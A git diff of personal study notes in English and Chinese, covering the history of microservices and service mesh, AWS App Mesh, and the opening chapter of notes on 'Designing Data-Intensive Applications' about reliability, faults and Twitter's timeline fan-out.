fulfilled by engineers working in such architectures. + +- the first organisations building systems based on microservices followed a strategy very similar to those of the first few generations networked computers. + - the responsibility of dealing with the requirements listed above was left to the engineer writing the services. + + + +![5](https://i.imgur.com/MPJhGSq.png) + + - As an example, consider **service discovery** and **circuit breakers**, + - two techniques used to tackle several of the resiliency and distribution challenges listed above. + + - **Service discovery** + - the process of automatically finding what instances of service fulfil a given query, + - e.g. a service called `Teams` needs to find instances of a service called `Players` with the attribute environment set to production. + - You will invoke some service discovery process which will return a list of suitable servers. + - For more monolithic architectures, this is a simple task usually implemented using DNS, load balancers, and some convention over port numbers (e.g. all services bind their HTTP servers to port 8080). + - In more distributed environments, the task starts to get more complex, and services that previously could blindly trust on their DNS lookups to find dependencies now have to deal with things like `client-side load-balancing`, `multiple different environments (e.g. staging vs. production)`, `geographically distributed servers`, etc. + - If before all you needed was a single line of code to resolve hostnames, now your services need many lines of boilerplate to deal with various corner cases introduced by higher distribution. + + - **Circuit breakers** + - a pattern catalogued by Michael Nygard + - Wrap a protected function call in a circuit breaker object, which monitors for failures. + - Once the failures reach a certain threshold, the circuit breaker trips, and all further calls to the circuit breaker return with an error, without the protected call being made at all. + - Usually you’ll also want some kind of monitor alert if the circuit breaker trips. + + +- These are great simple devices to add more reliability to interactions between your services. Nevertheless, just like everything else they tend to get much more complicated as the level of distribution increases. + - The likelihood of something going wrong in a system raises exponentially with distribution, so even simple things like “some kind of monitor alert if the circuit breaker trips” aren’t necessarily straightforward anymore. + - One failure in one component can create a cascade of effects across many clients, and clients of clients, triggering thousands of circuits to trip at the same time. + - Once more what used to be just a few lines of code now requires loads of boilerplate to handle situations that only exist in this new world. + + +--- + + +### 时代4:第二代微服务 + + +![5-a](https://i.imgur.com/d2mqdVj.png) + +为了避免每个服务都需要自己实现一套分布式系统通信的语义功能,随着技术的发展,一些面向微服务架构的开发框架出现了 +- 如Twitter的Finagle、Facebook的Proxygen以及Spring Cloud等等 +- 这些框架实现了分布式系统通信需要的各种通用语义功能:如负载均衡和服务发现等,因此一定程度上屏蔽了这些通信细节,使得开发人员使用较少的框架代码就能开发出健壮的分布式系统。 + + +- In fact, the two examples listed above can be so hard to implement correctly that large, + +- sophisticated libraries like `Twitter’s Finagle and Facebook’s Proxygen` became very popular as means to **avoid rewriting the same logic in every service**. + - The model depicted above was followed by the majority of the organisations that pioneered the microservices architecture, like Netflix, Twitter, and SoundCloud. As the number of services in their systems grew, they also stumbled upon various drawbacks of this approach. + + +1. even when using a library like Finagle, is that an organisation will still need to invest time from its engineering team in building the glue that links the libraries with the rest of their ecosystem. + - Based on my experiences at SoundCloud and DigitalOcean I would estimate that following this strategy in a 100-250 engineers organisation, one would need to dedicate 1/10 of the staff to building tooling. + - Sometimes this cost is explicit as engineers are assigned to teams dedicated to building tooling, but more often the price tag is invisible as it manifests itself as time taken away from working on your products. + +2. the setup above limits the `tools, runtimes, and languages` you can use for your microservices. + - Libraries for microservices are often written for a specific platform, be it a programming language or a runtime like the JVM. If an organisation uses platforms other than the one supported by the library, it often needs to port the code to the new platform itself. + - This steals scarce engineering time. Instead of working on their core business and products, engineers have to, once again, build tools and infrastructure. + - That is why some medium-sized organisations like SoundCloud and DigitalOcean decided to support only one platform for their internal services—Scala and Go respectively. + + +3. governance. The library model might abstract the implementation of the features required to tackle the needs of the microservices architecture, but it is still in itself a component that needs to be maintained. + - Making sure that thousands of instances of services are using the same or at least compatible versions of your library isn’t trivial, and every update means integrating, testing, and re-deploying all services—even if the service itself didn’t suffer any change. + + +--- + + +### The next logical step + + +> Similarly to what we saw in the networking stack + +> to extract the features required by massively distributed services into an underlying platform. + + +- People write very sophisticated applications and services using higher level protocols like HTTP without even thinking about how TCP controls the packets on their network. + +- engineers working on services can focus on their business logic and avoid wasting time in writing their own services infrastructure code or managing libraries and frameworks across the whole fleet. + + +![6](https://i.imgur.com/kRCInaB.png) + + + +- Unfortunately, changing the networking stack to add this layer isn’t a feasible task. The solution found by many practitioners was to **implement it as a set of proxies**. + - The idea here is that a service won’t connect directly to its downstream dependencies, but instead all of the traffic will go through a small piece of software that transparently adds the desired features. + + +--- + +### Sidecars: 时代5:第一代Service Mesh 代理模式(边车模式) + +它将分布式服务的通信抽象为单独一层 +- 在这一层中实现`负载均衡、服务发现、认证授权、监控追踪、流量控制`等分布式系统所需要的功能 +- 作为一个和服务对等的代理服务,和服务部署在一起,接管服务的流量,通过代理之间的通信间接完成服务之间的通信请求,这样上边所说的三个问题也迎刃而解。 + +- The first documented developments in this space used the concept of **sidecars**. + - an auxiliary process that runs aside your application and provides it with extra features. + - In 2013, Airbnb wrote about Synapse and Nerve, their open-source implementation of a sidecar. + - One year later, Netflix introduced Prana, a sidecar dedicated to allowing for non-JVM applications to benefit from their NetflixOSS ecosystem. + - At SoundCloud, we built sidecars that enabled our Ruby legacy to use the infrastructure we had built for JVM microservices. + + +![6-a](https://i.imgur.com/ZLoLIoP.png) + + + +- While there are several of these open-source proxy implementations, they tend to be designed to **work with specific infrastructure components**. + - As an example, when it comes to service discovery Airbnb’s Nerve & Synapse assume that services are registered in Zookeeper, while for Prana one should use Netflix’s own Eureka service registry for that. + + +- With the increasing popularity of microservices architecture, we have recently seen a **new wave of proxies that are flexible enough** to adapt to different infrastructure components and preferences. + - The first widely known system on this space was `Linkerd`, created by Buoyant based on their engineers’ prior work on Twitter’s microservices platform. Soon enough, the engineering team at Lyft announced `Envoy` which follows a similar principle. + + + +![mesh1](https://i.imgur.com/MF9jYB1.png) + + + +> Buoyant’s CEO William Morgan made the observation that the the interconnection between proxies form a mesh network. In early 2017, William wrote a definition for this platform, and called it a Service Mesh: + +- In such model, each of your services will have a **companion proxy sidecar**. Given that services communicate with each other only through the sidecar proxy, we end up with a deployment similar to the diagram below: + +service mesh +- a dedicated infrastructure layer for handling **service-to-service communication**. +- It’s responsible for the reliable delivery of requests through the complex topology of services that comprise a modern, cloud native application. +- In practice, the service mesh is typically implemented as an array of `lightweight network proxies` that are deployed alongside application code, without the application needing to be aware. +- it moves away from thinking of proxies as isolated components and acknowledges the network they form as something valuable in itself. + + +--- + + +### 时代6:第二代 Service Mesh + +以Istio为代表的第二代Service Mesh +- 第一代Service Mesh由一系列`独立运行的单机代理服务`构成 +- 为了提供统一的上层运维入口,演化出了集中式的控制面板 +- 所有的单机代理组件通过和`控制面板`交互进行`网络拓扑策略`的更新和单机数据的汇报。 + + +![6-b](https://i.imgur.com/y6hS7Bz.png) + +As organisations move their microservices deployments to more sophisticated runtimes like Kubernetes and Mesos, people and organisations have started using the tools made available by those platforms to implement this idea of a mesh network properly. +- They are moving away from a set of independent proxies working in isolation to a proper, somewhat centralised, control plane. + +- Looking at our bird’s eye view diagram, we see that the actual service traffic still flows from proxy to proxy directly, but the control plane knows about each proxy instance. +- The control plane enables the proxies to implement things like `access control and metrics collection`, which requires cooperation: + +![mesh3](https://i.imgur.com/eMGusFI.png) + + +- The recently announced `Istio project` is the most prominent example of such system. + + +--- + + + +## benefits + +- not having to write custom software to deal with what are ultimately commodity code for microservices architecture will allow for many smaller organisations to enjoy features previously only available to large enterprises, creating all sorts of interesting use cases. + +- this architecture might allow us to finally realise the dream of using the best tool/language for the job without worrying about the availability of libraries and patterns for every single platform. + + + + + +--- + + +# AWS App Mesh + +--- + + +## basic + +- a service mesh that provides application-level networking to make it easy for your services to communicate with each other across multiple types of compute infrastructure. App Mesh gives end-to-end visibility and high-availability for your applications. + +Modern applications are typically composed of multiple services. Each service may be built using multiple types of compute infrastructure such as Amazon EC2, Amazon ECS, Amazon EKS, and AWS Fargate. As the number of services grow within an application, it becomes difficult to pinpoint the exact location of errors, re-route traffic after failures, and safely deploy code changes. Previously, this has required you to build monitoring and control logic directly into your code and redeploy your service every time there are changes. + +AWS App Mesh makes it easy to run services by providing consistent visibility and network traffic controls, and helping you deliver secure services. App Mesh removes the need to update application code to change how monitoring data is collected or traffic is routed between services. App Mesh configures each service to export monitoring data and implements consistent communications control logic across your application. + +You can use App Mesh with AWS Fargate, Amazon EC2, Amazon ECS, Amazon EKS, and Kubernetes running on AWS, to better run your application at scale. App Mesh also integrates with AWS Outposts for your applications running on-premises. App Mesh uses the open source Envoy proxy, making it compatible with a wide range of AWS partner and open source tools. + + +--- + + +## Introduction to AWS App Mesh + + + +Benefits + +Get end-to-end visibility + +App Mesh captures metrics, logs, and traces from all of your applications. You can combine and export this data to Amazon CloudWatch, AWS X-Ray, and compatible AWS partner and community tools for monitoring and tracing. This lets you quickly identify and isolate issues with any service to optimize your entire application. +Streamline your operations + +App Mesh provides controls to configure and standardize how traffic flows between your services. You can easily implement custom traffic routing rules so that your service is highly available during deployments, after failures, and as your application scales. This removes the need to configure communication protocols for each service, write custom code, or implement libraries to operate your application. +Enhance network security + +App Mesh helps encrypt all requests between services even when they are in your private networks. Further, you can add authentication controls to ensure that only services that you allow interconnect. +How it works diff --git a/_posts/00Basic/AppEng/Designing-Data-Intensive-Applications.md b/_posts/00Basic/AppEng/Designing-Data-Intensive-Applications.md new file mode 100644 index 00000000000..757a7f91038 --- /dev/null +++ b/_posts/00Basic/AppEng/Designing-Data-Intensive-Applications.md @@ -0,0 +1,3706 @@ +--- +title: Designing Data-Intensive Applications +date: 2021-10-19 11:11:11 -0400 +categories: [00System] +tags: [System] +toc: true +image: +--- + +- [Designing Data-Intensive Applications](#designing-data-intensive-applications) + - [start](#start) + - [PART 1 Foundations of Data Systems](#part-1-foundations-of-data-systems) + - [Reliable, scalable, and maintainable applications](#reliable-scalable-and-maintainable-applications) + - [Thinking About Data Systems](#thinking-about-data-systems) + - [Reliability](#reliability) + - [Hardware faults](#hardware-faults) + - [Software errors](#software-errors) + - [Human errors](#human-errors) + - [Scalability](#scalability) + - [Describing Load](#describing-load) + - [Twitter example](#twitter-example) + - [Describing performance](#describing-performance) + - [Percentiles in practice](#percentiles-in-practice) + - [Approaches for coping with load](#approaches-for-coping-with-load) + - [Maintainability](#maintainability) + - [Operability: making life easy for operations](#operability-making-life-easy-for-operations) + - [Simplicity: managing complexity](#simplicity-managing-complexity) + - [Evolvability: making change easy](#evolvability-making-change-easy) + - [Summary](#summary) + - [CHAPTER 2 Data models and query language](#chapter-2-data-models-and-query-language) + - [Relational model vs document model](#relational-model-vs-document-model) + - [NoSQL](#nosql) + - [The Object-Relational Mismatch](#the-object-relational-mismatch) + - [JSON model](#json-model) + - [Many-to-One and Many-to-Many Relationships](#many-to-one-and-many-to-many-relationships) + - [Are Document Databases Repeating History?](#are-document-databases-repeating-history) + - [hierarchical model](#hierarchical-model) + - [The network model](#the-network-model) + - [The relational model](#the-relational-model) + - [document data model](#document-data-model) + - [Relational Versus Document Databases Today](#relational-versus-document-databases-today) + - [Schema 模式 flexibility](#schema-模式-flexibility) + - [Data locality for queries](#data-locality-for-queries) + - [Convergence 敛 of document and relational databases](#convergence-敛-of-document-and-relational-databases) + - [Query languages for data](#query-languages-for-data) + - [Declarative queries on the web](#declarative-queries-on-the-web) + - [declarative languages](#declarative-languages) + - [imperative approach](#imperative-approach) + - [MapReduce querying](#mapreduce-querying) + - [Graph-like data models](#graph-like-data-models) + - [Property graphs](#property-graphs) + - [The Cypher Query Language](#the-cypher-query-language) + - [Graph Queries in SQL](#graph-queries-in-sql) + - [Triple-stores and SPARQL](#triple-stores-and-sparql) + - [The SPARQL query language](#the-sparql-query-language) + - [The foundation: Datalog](#the-foundation-datalog) + - [Storage and retrieval](#storage-and-retrieval) + - [Data structures that power up your database](#data-structures-that-power-up-your-database) + - [Hash indexes](#hash-indexes) + - [SSTables and LSM-Trees](#sstables-and-lsm-trees) + - [B-trees](#b-trees) + - [B-trees and LSM-trees](#b-trees-and-lsm-trees) + - [Other indexing structures](#other-indexing-structures) + - [Full-text search and fuzzy indexes](#full-text-search-and-fuzzy-indexes) + - [Keeping everything in memory](#keeping-everything-in-memory) + - [Transaction processing or analytics?](#transaction-processing-or-analytics) + - [Data warehousing](#data-warehousing) + - [Column-oriented storage](#column-oriented-storage) + - [Encoding and evolution](#encoding-and-evolution) + - [Formats for encoding data](#formats-for-encoding-data) + - [Binary encoding](#binary-encoding) + - [Avro](#avro) + - [Modes of dataflow](#modes-of-dataflow) + - [Via databases](#via-databases) + - [Via service calls](#via-service-calls) + - [Via asynchronous message passing](#via-asynchronous-message-passing) + - [Replication](#replication) + - [Leaders and followers](#leaders-and-followers) + - [Synchronous vs asynchronous](#synchronous-vs-asynchronous) + - [Setting up new followers](#setting-up-new-followers) + - [Handling node outages](#handling-node-outages) + - [Follower failure: catchup recovery](#follower-failure-catchup-recovery) + - [Leader failure: failover](#leader-failure-failover) + - [Implementation of replication logs](#implementation-of-replication-logs) + - [Statement-based replication](#statement-based-replication) + - [Write-ahead log (WAL) shipping](#write-ahead-log-wal-shipping) + - [Logical (row-based) log replication](#logical-row-based-log-replication) + - [Trigger-based replication](#trigger-based-replication) + - [Problems with replication lag](#problems-with-replication-lag) + - [Reading your own writes](#reading-your-own-writes) + - [Monotonic reads](#monotonic-reads) + - [Consistent prefix reads](#consistent-prefix-reads) + - [Solutions for replication lag](#solutions-for-replication-lag) + - [Multi-leader replication](#multi-leader-replication) + - [Use cases for multi-leader replication](#use-cases-for-multi-leader-replication) + - [Multi-datacenter operation](#multi-datacenter-operation) + - [Clients with offline operation](#clients-with-offline-operation) + - [Collaborative editing](#collaborative-editing) + - [Handling write conflicts](#handling-write-conflicts) + - [Synchronous vs asynchronous conflict detection](#synchronous-vs-asynchronous-conflict-detection) + - [Conflict avoidance](#conflict-avoidance) + - [Converging toward a consistent state](#converging-toward-a-consistent-state) + - [Custom conflict resolution](#custom-conflict-resolution) + - [Multi-leader replication topologies](#multi-leader-replication-topologies) + - [Leaderless replication](#leaderless-replication) + - [Quorums for reading and writing](#quorums-for-reading-and-writing) + - [Sloppy quorums and hinted handoff](#sloppy-quorums-and-hinted-handoff) + - [Multi-datacenter operation](#multi-datacenter-operation-1) + - [Detecting concurrent writes](#detecting-concurrent-writes) + - [Capturing the happens-before relationship](#capturing-the-happens-before-relationship) + - [Merging concurrently written values](#merging-concurrently-written-values) + - [Version vectors](#version-vectors) + - [Partitioning](#partitioning) + - [Partitioning and replication](#partitioning-and-replication) + - [Partition of key-value data](#partition-of-key-value-data) + - [Partition by key range](#partition-by-key-range) + - [Partitioning by hash of key](#partitioning-by-hash-of-key) + - [Skewed workloads and relieving hot spots](#skewed-workloads-and-relieving-hot-spots) + - [Partitioning and secondary indexes](#partitioning-and-secondary-indexes) + - [Partitioning secondary indexes by document](#partitioning-secondary-indexes-by-document) + - [Partitioning secondary indexes by term](#partitioning-secondary-indexes-by-term) + - [Rebalancing partitions](#rebalancing-partitions) + - [Automatic versus manual rebalancing](#automatic-versus-manual-rebalancing) + - [Request routing](#request-routing) + - [Parallel query execution](#parallel-query-execution) + - [Transactions](#transactions) + - [The slippery concept of a transaction](#the-slippery-concept-of-a-transaction) + - [ACID](#acid) + - [Handling errors and aborts](#handling-errors-and-aborts) + - [Weak isolation levels](#weak-isolation-levels) + - [Read committed](#read-committed) + - [Snapshot isolation and repeatable read](#snapshot-isolation-and-repeatable-read) + - [Preventing lost updates](#preventing-lost-updates) + - [Atomic write operations](#atomic-write-operations) + - [Explicit locking](#explicit-locking) + - [Automatically detecting lost updates](#automatically-detecting-lost-updates) + - [Compare-and-set](#compare-and-set) + - [Conflict resolution and replication](#conflict-resolution-and-replication) + - [Write skew and phantoms](#write-skew-and-phantoms) + - [Serializability](#serializability) + - [Actual serial execution](#actual-serial-execution) + - [Encapsulating transactions in stored procedures](#encapsulating-transactions-in-stored-procedures) + - [Partitioning](#partitioning-1) + - [Two-phase locking (2PL)](#two-phase-locking-2pl) + - [Predicate locks](#predicate-locks) + - [Index-range locks](#index-range-locks) + - [Serializable snapshot isolation (SSI)](#serializable-snapshot-isolation-ssi) + - [Pesimistic versus optimistic concurrency control](#pesimistic-versus-optimistic-concurrency-control) + - [Performance of serializable snapshot isolation](#performance-of-serializable-snapshot-isolation) + - [The trouble with distributed systems](#the-trouble-with-distributed-systems) + - [Faults and partial failures](#faults-and-partial-failures) + - [Unreliable networks](#unreliable-networks) + - [Timeouts and unbounded delays](#timeouts-and-unbounded-delays) + - [Network congestion and queueing](#network-congestion-and-queueing) + - [Synchronous vs ashynchronous networks](#synchronous-vs-ashynchronous-networks) + - [Unreliable clocks](#unreliable-clocks) + - [Timestamps for ordering events](#timestamps-for-ordering-events) + - [Clock readings have a confidence interval](#clock-readings-have-a-confidence-interval) + - [Process pauses](#process-pauses) + - [Response time guarantees](#response-time-guarantees) + - [Knowledge, truth and lies](#knowledge-truth-and-lies) + - [Fencing tokens](#fencing-tokens) + - [Byzantine faults](#byzantine-faults) + - [Consistency and consensus](#consistency-and-consensus) + - [Consistency guarantees](#consistency-guarantees) + - [Linearizability](#linearizability) + - [Locking and leader election](#locking-and-leader-election) + - [Constraints and uniqueness guarantees](#constraints-and-uniqueness-guarantees) + - [Implementing linearizable systems](#implementing-linearizable-systems) + - [The unhelpful CAP theorem](#the-unhelpful-cap-theorem) + - [Ordering guarantees](#ordering-guarantees) + - [Distributed transactions and consensus](#distributed-transactions-and-consensus) + - [Atomic commit and two-phase commit (2PC)](#atomic-commit-and-two-phase-commit-2pc) + - [Three-phase commit](#three-phase-commit) + - [Fault-tolerant consensus](#fault-tolerant-consensus) + - [Single-leader replication and consensus](#single-leader-replication-and-consensus) + - [Membership and coordination services](#membership-and-coordination-services) + - [Batch processing](#batch-processing) + - [Batch processing with Unix tools](#batch-processing-with-unix-tools) + - [Map reduce and distributed filesystems](#map-reduce-and-distributed-filesystems) + - [Key-value stores as batch process output](#key-value-stores-as-batch-process-output) + - [Beyond MapReduce](#beyond-mapreduce) + - [Graphs and iterative processing](#graphs-and-iterative-processing) + - [Stream processing](#stream-processing) + - [Transmitting event streams](#transmitting-event-streams) + - [Messaging systems](#messaging-systems) + - [Direct messaging from producers to consumers](#direct-messaging-from-producers-to-consumers) + - [Message brokers](#message-brokers) + - [Partitioned logs](#partitioned-logs) + - [Databases and streams](#databases-and-streams) + - [Event sourcing](#event-sourcing) + - [Processing Streams](#processing-streams) + - [Stream-stream joins](#stream-stream-joins) + - [Stream-table joins](#stream-table-joins) + - [Table-table join](#table-table-join) + - [Time-dependence join](#time-dependence-join) + - [Fault tolerance](#fault-tolerance) + - [The future of data systems](#the-future-of-data-systems) + - [Data integration](#data-integration) + - [Batch and stream processing](#batch-and-stream-processing) + - [Lambda architecture](#lambda-architecture) + - [Unbundling databases](#unbundling-databases) + - [Creating an index](#creating-an-index) + - [Separation of application code and state](#separation-of-application-code-and-state) + - [Dataflow, interplay between state changes and application code](#dataflow-interplay-between-state-changes-and-application-code) + - [Stream processors and services](#stream-processors-and-services) + - [Observing derived state](#observing-derived-state) + - [Materialised views and caching](#materialised-views-and-caching) + - [Read are events too](#read-are-events-too) + - [Aiming for correctness](#aiming-for-correctness) + - [The end-to-end argument for databases](#the-end-to-end-argument-for-databases) + - [Enforcing constraints](#enforcing-constraints) + - [Uniqueness constraints require consensus](#uniqueness-constraints-require-consensus) + - [Uniqueness in log-based messaging](#uniqueness-in-log-based-messaging) + - [Multi-partition request processing](#multi-partition-request-processing) + - [Timeliness and integrity](#timeliness-and-integrity) + - [Correctness and dataflow systems](#correctness-and-dataflow-systems) + - [Coordination-avoiding data-systems](#coordination-avoiding-data-systems) + - [Trust, but verify](#trust-but-verify) + - [Doing the right thing](#doing-the-right-thing) + - [Privacy and tracking](#privacy-and-tracking) + + + +--- + +# [Designing Data-Intensive Applications](https://www.goodreads.com/book/show/23463279-designing-data-intensive-applications) + +--- + +## start + +- Data-intensive applications are pushing the boundaries of what is possible by making use of these technological developments. +- data-intensive application: if data is its primary challenge—the quantity of data, the complexity of data, or the speed at which it is changing—as opposed to compute-intensive, where CPU cycles are the bottleneck. + - New types of database systems (`“NoSQL”`) have been getting lots of attention, + - but `message queues, caches, search indexes, frameworks for batch and stream processing`, + - and related technologies are very important too. + - Many applications use some combination of these. + +--- + +## PART 1 Foundations of Data Systems + +--- + + +### Reliable, scalable, and maintainable applications + +A data-intensive application is typically built from standard building blocks. They usually need to: +* Store data (_databases_) +* Speed up reads (_caches_) +* Search data (_search indexes_) +* Send a message to another process asynchronously (_stream processing_) +* Periodically crunch data (_batch processing_) + +--- + +#### Thinking About Data Systems + +databases, queues, caches, etc. as being very different categories of tools. +- Although a database and a message queue have some superficial similarity, both store data for some time +- they have very different access patterns, which means different performance characteristics, and thus very different implementations. + + +- Many new tools for data storage and processing have emerged in recent years. + - They are optimized for a variety of different use cases, and they no longer neatly fit into traditional categories + - For example + - datastores that are also used as message queues (`Redis`), + - and there are message queues with database-like durability guarantees (`Apache Kafka`). + - The boundaries between the categories are becoming blurred. + + +- Secondly, increasingly many applications now have such demanding or wide-ranging requirements + - a single tool can no longer meet all of its data processing and storage needs. + - Instead, the work is broken down into tasks that can be performed efficiently on a single tool, and those different tools are stitched together using application code. + - For example + - an **application-managed caching layer** (using `Memcached` or similar), or a **full-text search server** (such as Elasticsearch or Solr) separate from your main database, + - it is normally the application code’s responsibility to keep those caches and indexes in sync with the main database. + +![Screen Shot 2021-10-20 at 1.19.51 AM](https://i.imgur.com/NEFsLUg.png) + +- When you combine several tools in order to provide a service, the `service’s interface or application programming interface (API)` usually hides those implementation details from clients. + - Now you have essentially created a `new, special-purpose data system` from `smaller, general-purpose components`. + - Your composite data system may provide certain guarantees: + - e.g., that the cache will be correctly invalidated or updated on writes so that outside clients see consistent results. + + +- You are now not only an application developer, but also a data system designer. + - If you are designing a data system or service, a lot of tricky questions arise. + - How do you ensure that the data remains correct and complete, even when things go wrong internally? + - How do you provide consistently good performance to clients, even when parts of your system are degraded? + - How do you scale to handle an increase in load? What does a good API for the service look like? + - There are many factors that may influence the design of a data system, including + - the skills and experience of the people involved, legacy system dependencies, + - the time‐scale for delivery, + - your organization’s tolerance of different kinds of risk, regulatory constraints, etc. + - Those factors depend very much on the situation. + + + +three concerns that are important in most software systems: + +* **Reliability**. + * To work _correctly_ (performing the correct function at the desired level of performance) + * even in the face of _adversity_ (hardware or software faults, and even human error). +* **Scalability**. + * As the system grows (in data volume, traffic volume, or complexity), + * Reasonable ways of dealing with _growth_ . +* **Maintainability**. + * Over time, many different people will work on the system (engineering and operations, both maintaining current behavior and adapting the system to new use cases), + * should be able to work on it _productively_. + +--- + +#### Reliability + +Typical expectations: +* Application **performs the function** the user expected +* Tolerate the **user making mistakes** +* Its **performance is good** +* The **system prevents abuse** + +**reliability**: +- “continuing to work correctly, even when things go wrong.” + +The things that can go wrong are called **faults**: +- Systems that anticipate faults and can cope with them are called _fault-tolerant_ or _resilient_. + - `fault-tolerant` is slightly misleading: it suggests tot make a system tolerant of every possible kind of fault, which in reality is not feasible. + +- A **fault** is usually defined as `one component of the system deviating 偏离 from its spec` +- whereas **failure** is when `the system as a whole stops providing the required service to the user`. +- It is impossible to reduce the probability of a fault to zero; + - therefore it is usually best to design `fault-tolerance mechanisms` that **prevent faults from causing failures**. + + +Counterintuitively 直觉相反, in such fault-tolerant systems, it can make sense to increase the rate of faults by triggering them deliberately +- for example, + - by randomly killing individual processes without warning. + - Many critical bugs are actually due to `poor error handling`; +- by **deliberately inducing faults**, + - you ensure that the `fault-tolerance machinery` is c**ontinually exercised and tested**, + - increase your confidence that **faults will be handled correctly when they occur naturally**. + - The Netflix Chaos Monkey is an example of this approach. + +generally **prefer tolerating faults over preventing faults**. +- there are cases where prevention is better than cure + - (e.g., because no cure exists). + - This is the case with security matters, + - for example: if an attacker has compromised a system and gained access to sensitive data, that event cannot be undone. + +--- + +##### Hardware faults + +* **Hardware faults**. + * `Hard disks crash, RAM becomes faulty, the power grid has a blackout, someone unplugs the wrong network cable`. + * Hard disks are reported as having a `mean time to failure (MTTF) of about 10 to 50 years`. + * Thus, on a storage cluster with 10,000 disks, we should expect on average one disk to die per day. + * **Our first response** is usually to `add redundancy to the individual hardware components to reduce the failure rate of the system`. + * When one component dies, the redundant component can take its place while the broken component is replaced. + * cannot completely prevent hardware problems from causing failures, but can often keep a machine running uninterrupted for years. + * Disks may be set up in a RAID configuration, + * servers may have dual power supplies and hot-swappable CPUs, + * datacenters may have batteries and diesel generators for backup power. + * Until recently **redundancy of hardware components was sufficient for most applications**. + * it makes `total failure of a single machine` fairly rare. restore a backup onto a new machine fairly quickly, the downtime in case of failure is not catastrophic in most applications. + * Thus, **multi-machine redundancy** was only required by a small number of applications for which `high availability` was absolutely essential. + + * As data volumes increase, more applications use a larger number of machines, proportionally increasing the rate of hardware faults. + * Moreover, in some cloud platforms such as AWS it is fairly common for virtual machine instances to become unavailable without warning, as the platforms are designed to prioritize `flexibility and elasticity` over single-machine reliability. + + * **There is a move towards systems that tolerate the loss of entire machines**. + * by using `software fault-tolerance techniques` in preference or in addition to hardware redundancy. + * Such systems also have operational advantages: + * a `single-server system` requires planned downtime to reboot the machine + * (to apply operating system security patches, for example), + * whereas a `system that can tolerate machine failure` can be patched one node at a time, without downtime of the entire system + * (_rolling upgrade_) + +- We usually think of hardware faults as being random and independent from each other: + - one machine’s disk failing does not imply that another machine’s disk is going to fail. + - There may be weak correlations (for example due to a common cause, such as the temperature in the server rack), + - but otherwise it is unlikely that a large number of hardware components will fail at the same time. + + +##### Software errors + +* **Software errors**. + * It is unlikely that a large number of hardware components will fail at the same time. + * a systematic error within the system, + * Such faults are harder to anticipate, and because they are correlated across nodes, they `tend to cause many more system failures` than uncorrelated hardware faults. + * A `software bug` that causes every instance of an application server to crash `when given a particular bad input`. + * For example, consider the leap second on June 30, 2012, that caused many applications to hang simultaneously due to a bug in the Linux kernel. + * A runaway process that `uses up some shared resource—CPU time, memory, disk space, or network bandwidth`. + * A service that the system depends on that `slows down, becomes unresponsive, or starts returning corrupted responses`. + * `Cascading 瀑布 failures`, + * where a small fault in one component triggers a fault in another component, which in turn triggers further faults. + +The bugs that cause these kinds of software faults often lie dormant 休眠潜伏 for a long time until they are triggered by an unusual set of circumstances. +- In those circumstances, it is revealed 揭示 that the software is making some kind of assumption about its environment + - while that assumption is usually true, + - it eventually stops being true for some reason. +- There is no quick solution to the problem of systematic faults in software. +- Lots of small things can help: + - carefully thinking about assumptions and interactions in the system; + - thorough testing; + - process isolation; + - allowing processes to crash and restart; + - measuring, monitoring, and analyzing system behavior in production. + - If a system is expected to provide some `guarantee` + - (for example, in a message queue, that the number of incoming messages equals the number of outgoing messages), + - it can constantly check itself while it is running and raise an alert if a discrepancy is found. + + +##### Human errors + +* **Human errors**. + * Humans are known to be unreliable. + * For example, configuration errors by operators were the leading cause of outages, whereas hardware faults (servers or network) played a role in only 10–25% of outages. + * Configuration errors by operators are a leading cause of outages. You can make systems more reliable: + - **Minimising the opportunities for error, peg** + - with admin interfaces that make easy to do the "right thing" and discourage the "wrong thing". + - **Decouple the places has most mistakes from the places where they can cause failures**. + - Provide fully featured non-production _sandbox_ environments where people can explore and experiment safely. + - **Test thoroughly at all levels** + - from unit tests to whole-system integration tests and manual tests + - Automated testing. widely used, well understood, and especially valuable for covering corner cases that rarely arise in normal operation. + - **Quick and easy recovery** from human error, + - fast to rollback configuration changes, + - roll out new code gradually + - any unexpected bugs affect only a small subset of users + - and tools to recompute data + - in case it turns out that the old computation was incorrect + - Set up **detailed and clear monitoring** + - telemetry such as performance metrics and error rates + - Implement good management practices and training. + +There are situations in which we may choose to sacrifice reliability in order to: +- reduce development cost (e.g., when developing a prototype product for an unproven market) +- reduce operational cost (e.g., for a service with a very narrow profit margin) +- but we should be very conscious of when we are cutting corners. + +--- + +#### Scalability + +**Scalability**: describe a system’s ability to cope 应付 with increased load. +- not a one-dimensional label: “X is scalable” or “Y doesn’t scale.” +- scalability means considering questions like + - If the system grows in a particular way, what are our options for coping with the growth? + - How can we add computing resources to handle the additional load? + +##### Describing Load + +- We need to succinctly 简便地 describe the current load on the system; only then we can discuss growth questions. +- Load can be described with a few numbers which we call **load parameters**. + - depends on the architecture of your system: + - requests per second to a web server, + - the ratio of reads to writes in a database, + - the number of simultaneously active users in a chat room, + - the hit rate on a cache, or something else. + - Perhaps the average case is what matters for you, or perhaps your bottleneck is dominated by a small number of extreme cases. + +###### Twitter example + +Twitter main operations +- **Post tweet**: a user can publish a new message to their followers (4.6k req/sec, over 12k req/sec peak) +- **Home timeline**: a user can view tweets posted by the people they follow (300k req/sec) + +Simply handling 12,000 writes per second (the peak rate for posting tweets) would be fairly easy. + +However, Twitter’s scaling challenge is due to **fan-out** +- each user follows many people, and each user is followed by many people. + + +Two ways of implementing those operations: +1. Posting a tweet simply inserts the new tweet into a global collection of tweets. + 1. When a user requests their home timeline, look up all the people they follow, + 2. find all the tweets for those users, and merge them (sorted by time). + 3. This could be done with a SQL `JOIN`. + +```sql +SELECT tweets.*, users.* FROM tweets +JOIN users ON tweets.sender_id = users.id +JOIN follows ON follows.followee_id = users.id +WHERE follows.follower_id = current_user +``` + +2. Maintain a cache for each user's home timeline. + 1. When a user _posts a tweet_, + 2. look up all the people who follow that user, + 3. insert the new tweet into each of their home timeline caches. + +![Screen Shot 2021-10-20 at 9.30.25 AM](https://i.imgur.com/AAWPjXh.png) + + +The first version of Twitter used approach 1 then switched to approach 2. + +- Approach 1, systems struggle to keep up with the load of home timeline queries. + +- The `average rate of published tweets` is almost two orders of magnitude lower than the `rate of home timeline reads`. so in this case it’s preferable to do more work at write time and less at read time. + +- Downside of approach 2 is that posting a tweet now requires a lot of extra work. + - On average, a tweet is delivered to about 75 followers, so `4.6k tweets per second` become `345k writes per second to the home timeline caches`. + - Some users have over 30 million followers. A single tweet may result in over `30 million writes to home timelines`. + +Twitter moved to an hybrid of both approaches. +- Tweets continue to be fanned out to home timelines but a small number of users with a very large number of followers 